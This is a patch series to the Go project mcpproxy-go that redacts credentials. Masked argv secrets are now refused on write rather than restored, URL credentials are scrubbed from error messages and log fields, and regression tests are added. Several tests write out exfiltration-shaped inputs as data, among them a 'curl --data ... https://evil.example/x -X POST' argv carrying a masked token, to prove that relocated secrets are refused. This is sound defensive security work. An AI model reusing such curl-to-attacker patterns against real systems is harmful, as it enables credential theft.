untouched. // --------------------------------------------------------------------------- -func TestUnmaskArgv_RefusesToRelocateAStoredSecret(t *testing.T) { - stored := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a"} - masked := redactedArgs(stored, liveRedaction) - require.NotEqual(t, stored[2], masked[2], "precondition: the read path masks the credential") +func TestArgvMaskEcho_IsAlwaysRefused_NeverReverted(t *testing.T) { + flagBound := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a"} + // Round 3: masked by the VALUE-SHAPED detector, so the round-2 fix (which + // only bound flag-paired masks) reverted it into any argv the caller liked. + detectorShaped := []string{"mcp-foo", "run", "ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789"} + // A mask at index 0 is bound to nothing at all by an index+flag rule. + leadingSecret := []string{"ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789", "run"} + + for _, stored := range [][]string{flagBound, detectorShaped, leadingSecret} { + masked := redactedArgs(stored, liveRedaction) + secret, maskIdx := "", -1 + for i := range stored { + if masked[i] != stored[i] { + secret, maskIdx = stored[i], i + break + } + } + require.NotEqual(t, -1, maskIdx, "precondition: the read path masks the credential") + + // The mask, moved to EVERY position, inside argv vectors of every + // shape — including the one it was masked at, and including one whose + // neighbours are copied verbatim from the stored vector. + var vectors [][]string + for i := 0; i <= len(stored)+1; i++ { + exfil := []string{"--silent", "--data", "https://evil.example/x", "-H", "-X", "POST"} + vec := make([]string, 0, len(exfil)+1) + vec = append(vec, exfil[:min(i, len(exfil))]...) + vec = append(vec, masked[maskIdx]) + vec = append(vec, exfil[min(i, len(exfil)):]...) + vectors = append(vectors, vec) + } + neighbourCopy := append([]string(nil), stored...) + neighbourCopy[maskIdx] = masked[maskIdx] + vectors = append(vectors, neighbourCopy, masked, []string{masked[maskIdx]}) + + for _, incoming := range vectors { + err := checkArgvMaskEcho(incoming, stored) + require.Error(t, err, "a mask must be refused wherever it sits: %v", incoming) + assert.NotContains(t, err.Error(), secret, "the refusal must not quote the secret") + assert.Contains(t, err.Error(), "args_json", "the caller must be told which parameter to resend") + } + } +} - t.Run("mask moved to a different index is not reverted", func(t *testing.T) { - incoming := []string{"-X", "POST", "https://evil.example/x", "-d", masked[2]} - got := unmaskArgv(incoming, stored) - assert.NotContains(t, got, stored[2], "a relocated mask must never be substituted with the real secret") - assert.Equal(t, incoming, got) - }) +func TestArgvMaskEcho_AcceptsRealValues(t *testing.T) { + stored := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "8080"} - t.Run("mask kept at its index but behind a different flag is not reverted", func(t *testing.T) { - incoming := []string{"mcp-foo", "--exfil-to", masked[2]} - got := unmaskArgv(incoming, stored) - assert.NotContains(t, got, stored[2], "the revert must be bound to the flag it was masked from") + t.Run("an unchanged real vector is accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho(append([]string(nil), stored...), stored)) }) - t.Run("relocation cannot launder a secret into a slot the read path leaves clear", func(t *testing.T) { - // The disclosure chain the value-keyed revert enabled: read the masked - // args, send the mask back in a POSITIONAL slot, then read again — the - // value has no credential shape, so nothing masks it the second time. - incoming := []string{masked[2]} - afterWrite := unmaskArgv(incoming, stored) - readBack, err := json.Marshal(redactedArgs(afterWrite, liveRedaction)) - require.NoError(t, err) - assert.NotContains(t, string(readBack), stored[2], - "a masked-read → relocate-write → read-back round trip discloses the secret in the clear") + t.Run("a rotated credential is accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho( + []string{"mcp-foo", "--api-key", "brand-new-secret", "--port", "9090"}, stored)) }) - t.Run("an unedited echo at its own index still round-trips", func(t *testing.T) { - assert.Equal(t, stored, unmaskArgv(masked, stored)) + t.Run("nil, empty and no stored vector are accepted", func(t *testing.T) { + assert.NoError(t, checkArgvMaskEcho(nil, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{}, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{"mcp-foo"}, nil)) }) - t.Run("an edit elsewhere in the vector still round-trips", func(t *testing.T) { - full := []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "8080"} - maskedFull := redactedArgs(full, liveRedaction) - edited := append([]string(nil), maskedFull...) - edited[4] = "9090" - assert.Equal(t, []string{"mcp-foo", "--api-key", "hunter2-corp-token-9f3a", "--port", "9090"}, - unmaskArgv(edited, full)) + t.Run("a stale mask is refused even when the stored vector has moved on", func(t *testing.T) { + // The byte-for-byte comparison against the CURRENT stored vector cannot + // match here; the marker check is what keeps the mask out of the config. + stale := redactedArgs(stored, liveRedaction)[2] + assert.Error(t, checkArgvMaskEcho([]string{"mcp-foo", "--api-key", stale}, + []string{"mcp-foo", "--api-key", "a-completely-different-token"})) }) } +// TestArgvMaskMarkers_MatchTheRenderings pins argvMaskMarkers to the functions +// that actually produce masks, so a change to either rendering fails here +// instead of silently letting a mask through the echo check. +func TestArgvMaskMarkers_MatchTheRenderings(t *testing.T) { + for _, rendered := range []string{ + oauth.MaskValue("hunter2-corp-token-9f3a"), + oauth.AuditMaskValue("hunter2-corp-token-9f3a"), + maskDetectedSecrets("ghp_16Cabcdefghijklmnopqrstuvwxyz0123456789"), + } { + assert.True(t, containsArgvMaskMarker(rendered), + "%q carries no marker the echo check recognises", rendered) + } + assert.False(t, containsArgvMaskMarker("mcp-foo")) + assert.False(t, containsArgvMaskMarker("--api-key")) +} + // --------------------------------------------------------------------------- // Finding 2: inspect_quarantined — the sibling operation of list_quarantined — // still rendered raw connection errors and the raw GetConnectionStatus() map diff --git a/internal/server/mcp_secret_redaction_test.go b/internal/server/mcp_secret_redaction_test.go index b728ea5f9..9c7d198cb 100644 --- a/internal/server/mcp_secret_redaction_test.go +++ b/internal/server/mcp_secret_redaction_test.go @@ -317,55 +317,86 @@ func TestTailLog_ScrubsLogLines(t *testing.T) { assert.Contains(t, body, "Starting connection attempt", "the diagnostic content must survive") } -// TestUnmaskArgv_RevertsEchoedMasks is the write-path counterpart to masking +// TestArgvMaskEcho_GuardsTheWritePath is the write-path counterpart to masking // argv on `upstream_servers list` (issue #1148). // -// `args_json` REPLACES the vector entirely, and internal/oauth owns no unmask -// contract for argv — so without this a read-modify-write agent that changed -// one flag and echoed the rest back would persist `••••` OVER the real -// credential. The revert is keyed on the masked rendering of the STORED vector, -// produced by the very function the read path uses, so the two cannot drift. -func TestUnmaskArgv_RevertsEchoedMasks(t *testing.T) { +// `args_json` REPLACES the vector entirely, so a read-modify-write agent that +// echoed a masked list back would persist the mask over the real credential. +// The env/header/url surfaces solve that by reverting the mask, bound to the +// map key or the URL authority. argv has no such key — see checkArgvMaskEcho — +// so this surface refuses the write instead, and the caller resends the value. +func TestArgvMaskEcho_GuardsTheWritePath(t *testing.T) { stored := []string{"mcp-foo", "--api-key", leakySecrets["argv"], "--port", "8080"} masked := redactedArgs(stored, liveRedaction) require.NotContains(t, masked, leakySecrets["argv"], "the read path must mask the credential") - t.Run("unedited echo restores the stored secret", func(t *testing.T) { - assert.Equal(t, stored, unmaskArgv(masked, stored)) + t.Run("an unedited echo is refused rather than persisted", func(t *testing.T) { + assert.Error(t, checkArgvMaskEcho(masked, stored)) }) - t.Run("a genuine edit is preserved", func(t *testing.T) { + t.Run("an edit that still carries the mask is refused", func(t *testing.T) { edited := append([]string(nil), masked...) edited[4] = "9090" - got := unmaskArgv(edited, stored) - assert.Equal(t, []string{"mcp-foo", "--api-key", leakySecrets["argv"], "--port", "9090"}, got) + assert.Error(t, checkArgvMaskEcho(edited, stored)) }) t.Run("a genuinely new secret is written through", func(t *testing.T) { incoming := []string{"mcp-foo", "--api-key", "brand-new-secret", "--port", "8080"} - assert.Equal(t, incoming, unmaskArgv(incoming, stored)) + assert.NoError(t, checkArgvMaskEcho(incoming, stored)) }) - t.Run("colliding masks are resolved by position, not guessed", func(t *testing.T) { + t.Run("colliding masks are refused, not guessed", func(t *testing.T) { // Two DIFFERENT stored tokens whose masked renderings collide — - // MaskValue carries only the length and the last two bytes. The first - // cut matched by VALUE, so it could not tell them apart and refused to - // revert either. Binding the revert to the index it was masked at - // (round 2, finding 1) makes the collision a non-event: each slot - // restores its OWN stored token and neither secret can land in the - // other's slot. + // MaskValue carries only the length and the last two bytes. Any + // value-keyed revert has to pick one of them; refusing picks neither. colliding := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} maskedColliding := redactedArgs(colliding, liveRedaction) require.Equal(t, maskedColliding[1], maskedColliding[3], "precondition: the renderings collide") - assert.Equal(t, colliding, unmaskArgv(maskedColliding, colliding)) + assert.Error(t, checkArgvMaskEcho(maskedColliding, colliding)) }) t.Run("nil and empty are passed through", func(t *testing.T) { - assert.Nil(t, unmaskArgv(nil, stored)) - assert.Equal(t, []string{}, unmaskArgv([]string{}, stored)) + assert.NoError(t, checkArgvMaskEcho(nil, stored)) + assert.NoError(t, checkArgvMaskEcho([]string{}, stored)) }) } +// TestBuildPatchConfig_RefusesAnEchoedArgvMask exercises the write path itself: +// a `upstream_servers update` whose args_json carries a mask must be REJECTED, +// with the stored vector left alone — not silently reverted into whatever +// command line the same request sets (issue #1148, round 3 finding 1). +func TestBuildPatchConfig_RefusesAnEchoedArgvMask(t *testing.T) { + p := createTestMCPProxyServer(t) + stored := &config.ServerConfig{ + Name: "srv", + Command: "uvx", + Args: []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, + Enabled: true, + } + masked := redactedArgs(stored.Args, liveRedaction) + require.NotEqual(t, stored.Args[2], masked[2], "precondition: the read path masks the credential") + + // The relocation attempt: the caller supplies `command` too, so a revert + // would hand the live credential to a binary of their choosing. + body, err := json.Marshal([]string{"--silent", "--data", masked[2], "https://evil.example/x"}) + require.NoError(t, err) + + request := mcp.CallToolRequest{} + request.Params.Arguments = map[string]interface{}{ + "operation": "update", + "name": "srv", + "command": "curl", + "args_json": string(body), + } + + patch, _, err := p.buildPatchConfigFromRequest(request, stored) + require.Error(t, err, "a masked argv token must be refused, never restored") + assert.Nil(t, patch) + assert.NotContains(t, err.Error(), leakySecrets["argv"]) + assert.Equal(t, []string{"mcp-foo", "--api-key", leakySecrets["argv"]}, stored.Args, + "the stored vector must be untouched by a rejected patch") +} + // TestUpstreamServersList_MasksArgvCredentials covers issue #1148 (c1) on the // one credential shape `upstream_servers list` never masked: an argv token. // Passing a credential as an argument (`uvx mcp-foo --api-key sk-…`) is one of diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index 2c72a5ad6..2da4bdf17 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -3,6 +3,7 @@ package server import ( "encoding/json" "fmt" + "strings" "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" @@ -222,92 +223,91 @@ func redactedArgsFallback(args []string, r redactionPolicy) []string { return out } -// unmaskArgv reverts argv tokens that a client echoed back still masked -// (issue #1148). +// Issue #1148, round 3: argv masks are NEVER reverted. They are REFUSED. // -// `args_json` REPLACES the vector entirely and internal/oauth owns no unmask -// contract for argv, so masking argv on the read path without this would let a -// read-modify-write client persist the mask over the real credential — the -// exact failure mode oauth.UnmaskEnvValues / UnmaskHeaders exist to prevent for -// env and headers. +// The write path used to restore a masked argv token from the stored vector +// (`unmaskArgv`), first by VALUE (round 2 finding 1) and then bound to the +// index plus the preceding flag (round 3 finding 1). Both leaked, and the +// second one leaked for a reason no tightening of the argv-internal context can +// remove: // -// The mapping is built from the STORED vector through redactedArgs, i.e. the -// same function the read path used, so the two cannot drift. +// - An argv token has NO KEY. env values bind to the variable name, headers +// to the header name, a URL secret to its scheme+host — each is a piece of +// context the caller cannot restate without also restating what the secret +// is FOR. An argv slot has only its index and its neighbours. +// - The caller supplies the WHOLE vector *and* `command` in the same patch. +// So every candidate binding is caller-controlled: an index is chosen, a +// preceding flag is copied verbatim, and even a byte-identical argv means +// nothing once `command` moves from `mcp-foo` to `curl`. There is no +// surrounding context that proves the slot still means what it meant when +// the value was masked. +// - The index-plus-flag binding also missed every mask the VALUE-shaped +// detector produced (`ghp_…****`) and every mask at index 0, because +// nothing but the index bound those at all: +// stored = ["mcp-foo", "run", "ghp_…"] +// incoming = ["--silent", "--data", "ghp_…****"] +// restored the live token into an attacker-chosen command line. // -// The revert is BOUND to the slot the mask came from — round 2 finding 1. The -// first cut matched by VALUE anywhere in the vector, which made this far worse -// than the disclosure it was added to prevent: +// So the revert is gone. A client that echoes a mask back is told to resend the +// real value instead, which is the one answer that is safe in both directions: +// the secret never moves (no relocation), and the mask is never written over +// the credential either (no read-modify-write corruption — the #1142/#1146 +// failure the revert was added to prevent). // -// - RELOCATION. `args_json` replaces the whole vector and the caller also -// controls `command`, so `{"command":"sh","args_json":"[\"-c\",\"\"]"}` -// had mcpproxy substitute the real credential into an attacker-chosen -// command line. -// - RE-DISCLOSURE, which is the sharper one. A credential masked because of -// the FLAG in front of it (`--api-key `) has no credential shape of -// its own. Move it into a bare positional slot and the read path no longer -// recognises it, so the very next `upstream_servers list` hands it back in -// the clear — a masked-read → relocate-write → read-back chain that undoes -// all of #1148, over an endpoint that is unauthenticated by default. -// -// So a stored token is restored ONLY to the index it was masked at, and only -// when the token that BOUND the mask is unchanged: +// Refusing rather than silently keeping the stored vector is deliberate: +// `args_json` REPLACES the vector, so silently ignoring it would make the write +// look applied when it was not. + +// argvMaskMarkers are the substrings every masked rendering of an argv token +// carries: oauth.MaskValue / AuditMaskValue open with the bullet run, and the +// value-shaped detector (security.MaskValue) ends with the elision+asterisks. // -// - a value masked because of the preceding flag requires that same flag -// still to precede it (`--api-key` cannot become `--exfil-to`); -// - an inline `--flag=` carries its own flag inside the token, so token -// equality already binds it; -// - a detector-recognised token (`ghp_…`) is masked by its own shape, so it -// is still masked wherever it ends up and re-disclosure is impossible. +// The marker check backs up the exact-echo check below so a mask still gets +// refused when the stored vector has since changed and the byte-for-byte +// comparison no longer matches. TestArgvMaskMarkers_MatchTheRenderings pins +// them to the functions that produce them. +var argvMaskMarkers = []string{"••••", "…****"} + +// checkArgvMaskEcho reports an error when an incoming argv vector still carries +// a mask this proxy rendered — either the exact masking of a stored token, or +// any token bearing a mask marker. // -// This is the same shape as the safeguards the sibling contracts already carry: -// oauth.UnmaskEnvValues / UnmaskHeaders bind to the map KEY, and UnmaskURL -// refuses to move a stored secret onto a different scheme/host. A vector that -// was reordered or resized simply does not round-trip its masks; the caller -// resends the real values, which is the safe direction. -func unmaskArgv(incoming, stored []string) []string { - if incoming == nil || len(stored) == 0 { - return incoming +// Returns nil for a vector that carries no mask, which is every legitimate +// write: a caller that changed nothing sends the real values it already has, a +// caller that rotated a credential sends the new one. +func checkArgvMaskEcho(incoming, stored []string) error { + if len(incoming) == 0 { + return nil } - maskedStored := redactedArgs(stored, liveRedaction) - flagBound := argvFlagBoundMasks(stored) + echoed := make(map[string]struct{}, len(stored)) + if len(stored) > 0 { + for i, masked := range redactedArgs(stored, liveRedaction) { + if masked != stored[i] { + echoed[masked] = struct{}{} + } + } + } - out := make([]string, len(incoming)) for i, token := range incoming { - out[i] = token - if i >= len(stored) || maskedStored[i] == stored[i] || token != maskedStored[i] { - // Out of range, not a mask at all, or a genuine edit. - continue - } - // argvFlagBoundMasks never marks index 0, so i >= 1 here. - if flagBound[i] && incoming[i-1] != stored[i-1] { - // The flag that made this value a secret is gone or different; - // restoring here would move the credential to a flag the caller - // chose. Leave the mask literal — the write then carries a value - // that is obviously not a credential rather than the real one. + if _, ok := echoed[token]; !ok && !containsArgvMaskMarker(token) { continue } - out[i] = stored[i] + return fmt.Errorf("args_json[%d] is a redaction placeholder, not an argument value: "+ + "credential-shaped argv tokens are masked on read and are never restored on write, "+ + "because an argv slot carries no key to bind the secret to. "+ + "Resend the real value for that argument, or omit args_json to leave the stored arguments unchanged", i) } - return out + return nil } -// argvFlagBoundMasks reports, per index of the stored vector, whether that -// token would be masked BECAUSE OF the flag in front of it rather than because -// of its own shape. Mirrors the `maskNext` rule in redactArgvWith. -// -// It deliberately over-reports rather than under-reports: after a masked value -// is consumed, redactArgvWith resets the pairing, so a run of sensitive-looking -// flags marks one index here that the masker did not pair. An extra index only -// makes unmaskArgv stricter (it also demands the preceding token be unchanged), -// which is the safe direction; a missed index would drop a binding. -func argvFlagBoundMasks(stored []string) []bool { - bound := make([]bool, len(stored)) - for i := 1; i < len(stored); i++ { - prev := stored[i-1] - bound[i] = isArgvFlag(prev) && oauth.IsSensitiveKeyName(argvFlagKey(prev)) +func containsArgvMaskMarker(token string) bool { + for _, marker := range argvMaskMarkers { + if strings.Contains(token, marker) { + return true + } } - return bound + return false } // unmaskLiveEnvValues reverts env values a client echoed back exactly as the diff --git a/internal/transport/http.go b/internal/transport/http.go index 16d7c5cef..b9b29f8d6 100644 --- a/internal/transport/http.go +++ b/internal/transport/http.go @@ -480,3 +480,17 @@ func (c *HTTPTransportConfig) logSafeURL() string { } return oauth.RedactURLQueryParams(c.URL) } + +// logSafeErrorField renders an error as a log field with any URL-embedded +// credential removed. +// +// Issue #1148, round 3: masking the `url` FIELDS was only half of it — a +// net/http error quotes the request URL inside its own message +// (`Post "https://host/mcp?token=…": dial tcp …`), so the credential kept +// reaching the log through zap.Error on the request-failure paths. +func logSafeErrorField(err error) zap.Field { + if err == nil { + return zap.Skip() + } + return zap.String("error", oauth.RedactSensitiveData(err.Error())) +} diff --git a/internal/transport/http_url_redact_test.go b/internal/transport/http_url_redact_test.go index d5a8ecf86..524c12750 100644 --- a/internal/transport/http_url_redact_test.go +++ b/internal/transport/http_url_redact_test.go @@ -1,6 +1,7 @@ package transport import ( + "errors" "strings" "testing" @@ -49,3 +50,16 @@ func TestCreateHTTPClient_DoesNotLogRawURL(t *testing.T) { assert.NotEmpty(t, b.String(), "precondition: client creation logs something") assert.NotContains(t, b.String(), "urlsecret999") } + +// TestLogSafeErrorField_RedactsURLCredentials covers issue #1148 round 3: the +// `url` log fields were masked, but a net/http error quotes the request URL +// inside its own message, so the credential kept reaching the log through +// zap.Error on the request-failure path. +func TestLogSafeErrorField_RedactsURLCredentials(t *testing.T) { + err := errors.New(`Post "https://host/mcp?token=urlsecret999": dial tcp: connection refused`) + field := logSafeErrorField(err) + + assert.NotContains(t, field.String, "urlsecret999", "the error text must not carry the URL credential") + assert.Contains(t, field.String, "connection refused", "the diagnostic part must survive") + assert.Equal(t, zapcore.SkipType, logSafeErrorField(nil).Type, "a nil error contributes no field") +} diff --git a/internal/transport/logging.go b/internal/transport/logging.go index 089af0876..f99b9ad53 100644 --- a/internal/transport/logging.go +++ b/internal/transport/logging.go @@ -11,6 +11,8 @@ import ( "time" "go.uber.org/zap" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" ) // LoggingTransport wraps http.RoundTripper to log all HTTP traffic including SSE frames @@ -58,9 +60,13 @@ func (t *LoggingTransport) RoundTrip(req *http.Request) (*http.Response, error) duration := time.Since(startTime) if err != nil { - fmt.Printf("❌ HTTP REQUEST FAILED: %v (duration: %v)\n", err, duration) + // #1148: the transport error quotes the request URL, credentials and + // all. Both sinks get the redacted rendering; the error itself is + // returned untouched to the caller. + safeErr := oauth.RedactSensitiveData(err.Error()) + fmt.Printf("❌ HTTP REQUEST FAILED: %v (duration: %v)\n", safeErr, duration) t.logger.Error("❌ HTTP REQUEST FAILED", - zap.Error(err), + logSafeErrorField(err), zap.Duration("duration", duration)) return nil, err } diff --git a/internal/upstream/cli/client.go b/internal/upstream/cli/client.go index c15521385..ffbc63ad9 100644 --- a/internal/upstream/cli/client.go +++ b/internal/upstream/cli/client.go @@ -102,10 +102,12 @@ func (c *Client) Close() error { // Connect establishes connection with detailed progress output func (c *Client) Connect(ctx context.Context) error { + // #1148: never log the configured URL raw — it can embed the credential + // in its query or userinfo, and the CLI writes this line to the same log. c.logger.Info("🔗 Starting connection to upstream server", zap.String("server", c.config.Name), zap.String("transport", c.getTransportType()), - zap.String("url", c.config.URL), + zap.String("url", oauth.RedactURLQueryParams(c.config.URL)), zap.String("command", c.config.Command)) // Enable JSON-RPC frame logging if trace level is enabled diff --git a/internal/upstream/core/connection.go b/internal/upstream/core/connection.go index 797300f9d..d7e440688 100644 --- a/internal/upstream/core/connection.go +++ b/internal/upstream/core/connection.go @@ -70,6 +70,49 @@ func (c *Client) logSafeURL() string { return oauth.RedactURLQueryParams(c.config.URL) } +// redactURLCredentialsInError strips URL-embedded credentials from an error's +// TEXT while keeping the error itself intact for errors.Is/As and for the +// substring classification the connect paths do (isAuthError, isConfigError, +// "connection refused"): only the sensitive query values and userinfo +// passwords are rewritten. +// +// Issue #1148, round 3: masking the `url` LOG FIELDS is not enough, because the +// transport error carries the same URL inside its message — +// `Post "http://host/mcp?token=…": dial tcp: connection refused` — and that +// message is logged at Error level by the manager on every failed attempt, is +// written to the per-server log, and is stored as the client's last error. +// Redacting once, where the transport error enters mcpproxy, is what keeps a +// future log site from re-leaking it. +func redactURLCredentialsInError(err error) error { + if err == nil { + return nil + } + msg := oauth.RedactSensitiveData(err.Error()) + if msg == err.Error() { + return err + } + return &urlRedactedError{msg: msg, cause: err} +} + +// urlRedactedError re-renders an error's message with credentials removed and +// keeps the original reachable through Unwrap. +type urlRedactedError struct { + msg string + cause error +} + +func (e *urlRedactedError) Error() string { return e.msg } +func (e *urlRedactedError) Unwrap() error { return e.cause } + +// logSafeErrorField renders an error as a log field with any URL-embedded +// credential removed. Use it instead of zap.Error on the connection paths. +func logSafeErrorField(err error) zap.Field { + if err == nil { + return zap.Skip() + } + return zap.String("error", oauth.RedactSensitiveData(err.Error())) +} + func (c *Client) Connect(ctx context.Context) error { c.mu.Lock() defer c.mu.Unlock() @@ -173,6 +216,12 @@ func (c *Client) Connect(ctx context.Context) error { } if err != nil { + // #1148: the transport error text embeds the configured URL, credentials + // and all. Redact it HERE, before it is logged, returned, or stored as + // the client's last error — every consumer downstream inherits the safe + // rendering, and the original is still reachable through Unwrap. + err = redactURLCredentialsInError(err) + // Log connection failure to server-specific log if c.upstreamLogger != nil { c.upstreamLogger.Error("Connection failed", diff --git a/internal/upstream/core/connection_http.go b/internal/upstream/core/connection_http.go index f2854295e..7a6a00b08 100644 --- a/internal/upstream/core/connection_http.go +++ b/internal/upstream/core/connection_http.go @@ -63,7 +63,9 @@ func (c *Client) connectHTTP(ctx context.Context) error { c.logger.Debug("🚫 Auth strategy failed", zap.Int("strategy_index", i), zap.String("strategy", strategy.name), - zap.Error(err)) + // #1148: the transport error quotes the request URL with its + // query credential; this fires on every failed attempt. + logSafeErrorField(err)) // For configuration errors (like no headers), always try next strategy if c.isConfigError(err) { @@ -112,7 +114,8 @@ func (c *Client) connectSSE(ctx context.Context) error { c.logger.Debug("🚫 SSE auth strategy failed", zap.Int("strategy_index", i), zap.String("strategy", strategyName), - zap.Error(err)) + // #1148: see the HTTP strategy loop above. + logSafeErrorField(err)) // For configuration errors (like no headers), always try next strategy if c.isConfigError(err) { @@ -241,7 +244,8 @@ func (c *Client) trySSEHeadersAuth(ctx context.Context) error { c.client.OnConnectionLost(func(err error) { c.logger.Warn("⚠️ SSE connection lost detected", zap.String("server", c.config.Name), - zap.Error(err), + // #1148: a dropped-stream error quotes the stream URL. + logSafeErrorField(err), zap.String("transport", "sse"), zap.String("note", "Connection dropped by server or network - will attempt reconnection")) }) @@ -282,7 +286,8 @@ func (c *Client) trySSENoAuth(ctx context.Context) error { c.client.OnConnectionLost(func(err error) { c.logger.Warn("⚠️ SSE connection lost detected", zap.String("server", c.config.Name), - zap.Error(err), + // #1148: a dropped-stream error quotes the stream URL. + logSafeErrorField(err), zap.String("transport", "sse"), zap.String("note", "Connection dropped by server or network - will attempt reconnection")) }) diff --git a/internal/upstream/core/connection_oauth.go b/internal/upstream/core/connection_oauth.go index 02227002c..ea5c638db 100644 --- a/internal/upstream/core/connection_oauth.go +++ b/internal/upstream/core/connection_oauth.go @@ -445,7 +445,7 @@ func (c *Client) tryOAuthAuth(ctx context.Context) error { } c.logger.Error("⚠️ ENDPOINT DEPRECATED: Server has migrated to a new URL", zap.String("server", c.config.Name), - zap.String("current_url", c.config.URL), + zap.String("current_url", c.logSafeURL()), // #1148: query/userinfo credentials zap.String("correlation_id", correlationID), zap.String("action", "Update the server URL in your configuration"), zap.String("hint", "Check the server's documentation or try removing /sse from the URL"), diff --git a/internal/upstream/core/connection_url_redact_test.go b/internal/upstream/core/connection_url_redact_test.go index 7f8c7196c..32ee4228d 100644 --- a/internal/upstream/core/connection_url_redact_test.go +++ b/internal/upstream/core/connection_url_redact_test.go @@ -1,6 +1,8 @@ package core import ( + "errors" + "fmt" "strings" "testing" @@ -46,3 +48,30 @@ func TestLogSafeURL_RedactsQueryCredentials(t *testing.T) { empty := &Client{config: &config.ServerConfig{}} assert.Equal(t, "", empty.logSafeURL()) } + +// TestRedactURLCredentialsInError covers issue #1148 round 3: masking the `url` +// log fields left the same credential travelling inside the transport error's +// own message, which the manager logs at Error level on every failed attempt +// and the client keeps as its last error. +// +// The redaction must not cost the error its identity: the connect paths +// classify by errors.Is/As and by substring, and both have to keep working. +func TestRedactURLCredentialsInError(t *testing.T) { + cause := errors.New(`Post "https://host/mcp?token=urlsecret999": dial tcp: connection refused`) + wrapped := fmt.Errorf("failed to connect: %w", cause) + + got := redactURLCredentialsInError(wrapped) + + assert.NotContains(t, got.Error(), "urlsecret999", "the URL credential must not survive in the error text") + assert.Contains(t, got.Error(), "connection refused", "substring classification must keep working") + assert.True(t, errors.Is(got, cause), "the original error must stay reachable through Unwrap") + + t.Run("an error with nothing to redact is returned unchanged", func(t *testing.T) { + plain := errors.New("dial tcp 127.0.0.1:1: connection refused") + assert.Same(t, plain, redactURLCredentialsInError(plain)) + }) + + t.Run("nil stays nil", func(t *testing.T) { + assert.NoError(t, redactURLCredentialsInError(nil)) + }) +} diff --git a/internal/upstream/manager.go b/internal/upstream/manager.go index 0311a87ef..9f4ea3ee8 100644 --- a/internal/upstream/manager.go +++ b/internal/upstream/manager.go @@ -1528,10 +1528,15 @@ func (m *Manager) ConnectAll(ctx context.Context) error { continue } + // #1148: the configured upstream URL can carry its credential in the + // query (`?token=…`) or the userinfo (`user:pass@`), and this line runs + // on every connect attempt, so the raw form would be written to + // main.log on a loop. Redacted through the same helper the core client + // and the HTTP transport use. m.logger.Info("Attempting to connect client", zap.String("id", id), zap.String("name", client.GetConfig().Name), - zap.String("url", client.GetConfig().URL), + zap.String("url", oauth.RedactURLQueryParams(client.GetConfig().URL)), zap.String("command", client.GetConfig().Command), zap.String("protocol", client.GetConfig().Protocol)) diff --git a/internal/upstream/manager_url_redact_test.go b/internal/upstream/manager_url_redact_test.go new file mode 100644 index 000000000..2c39e817c --- /dev/null +++ b/internal/upstream/manager_url_redact_test.go @@ -0,0 +1,86 @@ +package upstream + +import ( + "context" + "fmt" + "strings" + "testing" + "time" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/zap" + "go.uber.org/zap/zaptest/observer" + + "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/secret" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/storage" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/upstream/managed" +) + +// TestConnectAll_DoesNotLogTheConfiguredURLCredential covers issue #1148 at the +// one raw-URL log site the earlier rounds left behind. +// +// internal/upstream/core and internal/transport each grew a logSafeURL helper, +// but the manager's own "Attempting to connect client" line — which runs on +// every connect attempt, for every server, at Info — still wrote +// client.GetConfig().URL verbatim. A URL-embedded credential (`?token=…`, +// `user:pass@`) therefore kept landing in main.log on a loop, where `tail_log` +// and any process with disk access can read it. +// +// (Pre-existing: this line is identical on origin/main.) +func TestConnectAll_DoesNotLogTheConfiguredURLCredential(t *testing.T) { + const secret = "urlsecret999" + + core, logs := observer.New(zap.DebugLevel) + logger := zap.New(core) + + tempDir := t.TempDir() + db, err := storage.NewBoltDB(tempDir, logger.Sugar()) + require.NoError(t, err) + t.Cleanup(func() { db.Close() }) + + serverConfig := &config.ServerConfig{ + Name: "leaky", + Protocol: "http", + // Port 1 refuses immediately, so the attempt fails fast — the log line + // under test is emitted before the dial either way. + URL: "http://127.0.0.1:1/mcp?token=" + secret, + Enabled: true, + } + + manager := &Manager{ + clients: make(map[string]*managed.Client), + logger: logger, + storage: db, + secretResolver: secret2Resolver(), + } + client, err := managed.NewClient(serverConfig.Name, serverConfig, logger, nil, &config.Config{}, db, secret2Resolver()) + require.NoError(t, err) + manager.clients[serverConfig.Name] = client + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + _ = manager.ConnectAll(ctx) + + entries := logs.All() + require.NotEmpty(t, entries, "precondition: ConnectAll must log the attempt") + for _, e := range entries { + rendered := e.Message + " " + fmt.Sprint(e.ContextMap()) + assert.NotContains(t, rendered, secret, + "the URL credential must never reach the log (entry: %s)", rendered) + } + assert.True(t, hasEntryContaining(entries, "Attempting to connect client"), + "precondition: the site under test must have run") +} + +func secret2Resolver() *secret.Resolver { return secret.NewResolver() } + +func hasEntryContaining(entries []observer.LoggedEntry, msg string) bool { + for _, e := range entries { + if strings.Contains(e.Message, msg) { + return true + } + } + return false +} From c2beb53ce3d4c7880c26ca6ad3a77ef9d74b121c Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 08:55:01 +0300 Subject: [PATCH 04/10] fix(security): close the last raw-URL log and status sites the #1148 sweep found MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 4 of the issue #1148 review, plus the exhaustive raw-URL sweep across internal/upstream, internal/transport and internal/server it asked for. - managed/client.go onStateChange logged the raw configured URL as `current_url` at ERROR level on the deprecated-endpoint (410 Gone) branch — the exact twin of the connection_oauth.go site round 3 fixed. 